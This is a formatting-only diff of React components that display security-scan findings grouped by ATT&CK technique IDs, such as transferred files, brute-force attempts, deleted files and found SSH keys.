@ -27,10 +28,10 @@ class T1105 extends React.Component {
<br/>
{this.props.data.status !== ScanStatus.UNSCANNED ?
<ReactTable
columns={T1105.getFilesColumns()}
data={this.props.data.files}
showPagination={false}
defaultPageSize={this.props.data.files.length}
columns={T1105.getFilesColumns()}
data={this.props.data.files}
showPagination={false}
defaultPageSize={this.props.data.files.length}
/> : ""}
</div>
);

View File

@ -1,7 +1,7 @@
import React from 'react';
import '../../../styles/Collapse.scss'
import ReactTable from "react-table";
import { getUsageColumns } from "./Helpers"
import {getUsageColumns} from "./Helpers"
class T1106 extends React.Component {
@ -17,10 +17,10 @@ class T1106 extends React.Component {
<br/>
{this.props.data.api_uses.length !== 0 ?
<ReactTable
columns={getUsageColumns()}
data={this.props.data.api_uses}
showPagination={false}
defaultPageSize={this.props.data.api_uses.length}
columns={getUsageColumns()}
data={this.props.data.api_uses}
showPagination={false}
defaultPageSize={this.props.data.api_uses.length}
/> : ""}
</div>
);

View File

@ -1,7 +1,7 @@
import React from 'react';
import '../../../styles/Collapse.scss'
import ReactTable from "react-table";
import { renderMachineFromSystemData, ScanStatus } from "./Helpers"
import {renderMachineFromSystemData, ScanStatus} from "./Helpers"
class T1107 extends React.Component {
@ -10,8 +10,8 @@ class T1107 extends React.Component {
super(props);
}
static renderDelete(status){
if(status === ScanStatus.USED){
static renderDelete(status) {
if (status === ScanStatus.USED) {
return <span>Yes</span>
} else {
return <span>No</span>
@ -21,11 +21,19 @@ class T1107 extends React.Component {
static getDeletedFileColumns() {
return ([{
columns: [
{Header: 'Machine', id: 'machine', accessor: x => renderMachineFromSystemData(x._id.machine), style: { 'whiteSpace': 'unset' }},
{Header: 'Path', id: 'path', accessor: x => x._id.path, style: { 'whiteSpace': 'unset' }},
{Header: 'Deleted?', id: 'deleted', accessor: x => this.renderDelete(x._id.status),
style: { 'whiteSpace': 'unset' }, width: 160}]
}])};
{
Header: 'Machine',
id: 'machine',
accessor: x => renderMachineFromSystemData(x._id.machine),
style: {'whiteSpace': 'unset'}
},
{Header: 'Path', id: 'path', accessor: x => x._id.path, style: {'whiteSpace': 'unset'}},
{
Header: 'Deleted?', id: 'deleted', accessor: x => this.renderDelete(x._id.status),
style: {'whiteSpace': 'unset'}, width: 160
}]
}])
};
render() {
return (
@ -34,10 +42,10 @@ class T1107 extends React.Component {
<br/>
{this.props.data.deleted_files.length !== 0 ?
<ReactTable
columns={T1107.getDeletedFileColumns()}
data={this.props.data.deleted_files}
showPagination={false}
defaultPageSize={this.props.data.deleted_files.length}
columns={T1107.getDeletedFileColumns()}
data={this.props.data.deleted_files}
showPagination={false}
defaultPageSize={this.props.data.deleted_files.length}
/> : ""}
</div>
);

View File

@ -1,7 +1,7 @@
import React from 'react';
import '../../../styles/Collapse.scss'
import ReactTable from "react-table";
import { renderMachine, ScanStatus } from "./Helpers"
import {renderMachine, ScanStatus} from "./Helpers"
class T1110 extends React.Component {
@ -13,15 +13,23 @@ class T1110 extends React.Component {
static getServiceColumns() {
return ([{
columns: [
{Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.machine),
style: { 'whiteSpace': 'unset' }, width: 160},
{Header: 'Service', id: 'service', accessor: x => x.info.display_name, style: { 'whiteSpace': 'unset' }, width: 100},
{Header: 'Started', id: 'started', accessor: x => x.info.started, style: { 'whiteSpace': 'unset' }},
{Header: 'Finished', id: 'finished', accessor: x => x.info.finished, style: { 'whiteSpace': 'unset' }},
{Header: 'Attempts', id: 'attempts', accessor: x => x.attempt_cnt, style: { 'whiteSpace': 'unset' }, width: 160},
{Header: 'Successful credentials', id: 'credentials', accessor: x => this.renderCreds(x.successful_creds), style: { 'whiteSpace': 'unset' }},
]
}])};
{
Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.machine),
style: {'whiteSpace': 'unset'}, width: 160
},
{Header: 'Service', id: 'service', accessor: x => x.info.display_name, style: {'whiteSpace': 'unset'}, width: 100},
{Header: 'Started', id: 'started', accessor: x => x.info.started, style: {'whiteSpace': 'unset'}},
{Header: 'Finished', id: 'finished', accessor: x => x.info.finished, style: {'whiteSpace': 'unset'}},
{Header: 'Attempts', id: 'attempts', accessor: x => x.attempt_cnt, style: {'whiteSpace': 'unset'}, width: 160},
{
Header: 'Successful credentials',
id: 'credentials',
accessor: x => this.renderCreds(x.successful_creds),
style: {'whiteSpace': 'unset'}
},
]
}])
};
static renderCreds(creds) {
return <span>{creds.map(cred => <div key={cred}>{cred}</div>)}</span>

View File

@ -16,10 +16,10 @@ class T1129 extends React.Component {
<br/>
{this.props.data.dlls.length !== 0 ?
<ReactTable
columns={getUsageColumns()}
data={this.props.data.dlls}
showPagination={false}
defaultPageSize={this.props.data.dlls.length}
columns={getUsageColumns()}
data={this.props.data.dlls}
showPagination={false}
defaultPageSize={this.props.data.dlls.length}
/> : ""}
</div>
);

View File

@ -1,7 +1,7 @@
import React from 'react';
import '../../../styles/Collapse.scss'
import ReactTable from "react-table";
import { renderMachineFromSystemData, ScanStatus } from "./Helpers"
import {renderMachineFromSystemData, ScanStatus} from "./Helpers"
class T1145 extends React.Component {
@ -10,11 +10,11 @@ class T1145 extends React.Component {
super(props);
}
static renderSSHKeys(keys){
static renderSSHKeys(keys) {
let output = [];
keys.forEach(function(keyInfo){
output.push(<div key={keyInfo['name']+keyInfo['home_dir']}>
SSH key pair used by <b>{keyInfo['name']}</b> user found in {keyInfo['home_dir']}</div>)
keys.forEach(function (keyInfo) {
output.push(<div key={keyInfo['name'] + keyInfo['home_dir']}>
SSH key pair used by <b>{keyInfo['name']}</b> user found in {keyInfo['home_dir']}</div>)
});
return (<div>{output}</div>);
}
@ -22,16 +22,21 @@ class T1145 extends React.Component {
static getKeysInfoColumns() {
return ([{
columns: [
{Header: 'Machine',
{
Header: 'Machine',
id: 'machine',
accessor: x => renderMachineFromSystemData(x.machine),
style: { 'whiteSpace': 'unset' }},
{Header: 'Keys found',
style: {'whiteSpace': 'unset'}
},
{
Header: 'Keys found',
id: 'keys',
accessor: x => T1145.renderSSHKeys(x.ssh_info),
style: { 'whiteSpace': 'unset' }},
]
}])};
style: {'whiteSpace': 'unset'}
},
]
}])
};
render() {
return (
@ -40,10 +45,10 @@ class T1145 extends React.Component {
<br/>
{this.props.data.status === ScanStatus.USED ?
<ReactTable
columns={T1145.getKeysInfoColumns()}
data={this.props.data.ssh_info}
showPagination={false}
defaultPageSize={this.props.data.ssh_info.length}
columns={T1145.getKeysInfoColumns()}
data={this.props.data.ssh_info}
showPagination={false}
defaultPageSize={this.props.data.ssh_info.length}
/> : ""}
</div>
);

Some files were not shown because too many files have changed in this diff Show More